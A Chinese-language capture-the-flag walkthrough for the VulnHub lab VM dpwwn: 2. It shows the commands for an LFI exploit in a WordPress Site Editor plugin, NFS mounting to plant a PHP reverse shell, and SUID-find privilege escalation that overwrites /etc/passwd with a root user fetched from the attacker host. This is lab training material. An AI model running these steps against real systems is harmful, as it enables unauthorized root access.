dpwwn: 2

Posted 2020-12-17 ch42e

Description

• Name: dpwwn: 2
• Date release: 8 Aug 2019
• DHCP service: Disabled
• Static IP address: 10.10.10.10/24
• Goal: Get the root shell i.e.(root@dpwwn-02:~#) and then obtain flag under /root(dpwwn-02-FLAG.txt).

Download

(Size: 1.4 GB)

• Download: https://drive.google.com/file/d/1mrJELXBNhVZ0lsX6EZMbt2KtP7i2DCMo/view?usp=sharing
• Download (Mirror): https://download.vulnhub.com/dpwwn/dpwwn-02.zip
• Download (Torrent): https://download.vulnhub.com/dpwwn/dpwwn-02.zip.torrent ( Magnet)

端口扫描

namp -sV -p- 10.10.10.10

先访问80端口http服务，就一句话：

Welcome Mate : dpwwn-02 GOAL IS SIMPLE : OBTAIN: # shell like root@dpwwn-02:~# 

漏洞发现

先扫描一波目录看看，发现还有个wordpress

使用wpscan扫描看看

wpscan --url http://10.10.10.10/wordpress -e p

site-editor 1.1.1插件是存在漏洞的（wpscan没有提示漏洞，后来看人的wp，是有提示的）

searchsploit site editor 1.1.1

将exp复制到当前工作目录

searchsploit -m 44340

漏洞利用

curl http://10.10.10.10/wordpress/wp-content/plugins/site-editor/editor/extensions/pagebuilder/includes/ajax_shortcode_pattern.php?ajax_path=/etc/passwd

成功读取/etc/passwd中的内容，接下来是如何进一步的能够上传反弹shell到靶机上，注意到之前nmap扫描的结果，在2049端口运行着网络文件共享（NFS）服务，通过showmount -e显示NFS服务器的输出清单

showmount -e 10.10.10.10

在本地建立一个问文件夹ctf，挂载到home/dpwwn02

mkdir ctf
mount -t nfs 10.10.10.10:/home/dpwwn02 ctf

将/usr/share/webshells/php/php-reverse-shell.php文件中的IP修改为Kali攻击机IP，并复制到ctf目录中

getshell

在kali中监听端口1234

nc -lvp 1234

在浏览器中访问

http://10.10.10.10/wordpress/wp-content/plugins/site-editor/editor/extensions/pagebuilder/includes/ajax_shortcode_pattern.php?ajax_path=/home/dpwwn02/shell.php

提权

查找具有特殊权限SUID的文件

find / -perm /u=s

如果find以SUID权限运行，所有通过find执行的命令都会以root权限运行

通过find命令给wget命令提供SUID权限

which wget
find /home -exec chmod u+s /usr/bin/wget ;
ls –la /usr/bin/wget

通过OpenSSL passwd生成一个新的用户hacker，密码为yoloyanng

openssl passwd -1 -salt hacker yoloyanng

得到：$1$hacker$WfwIT58gFY6HX.Q3RXYpf/，将其追加到靶机/etc/passwd文件中

（靶机）# cat /etc/passwd
（Kali）# vim passwd  // (复制靶机/etc/passwd中的内容)

将hacker:$1$hacker$WfwIT58gFY6HX.Q3RXYpf/:0:0:/root:/bin/bash追加到passwd中

在Kali上启动一个python服务器

python -m SimpleHTTPServer 80

将Kali上的passwd文件下载到靶机etc目录下并覆盖原来的passwd文件

wget -O passwd http://10.10.10.128/passwd

然后切换到hacker用户即可，密码yoloyanng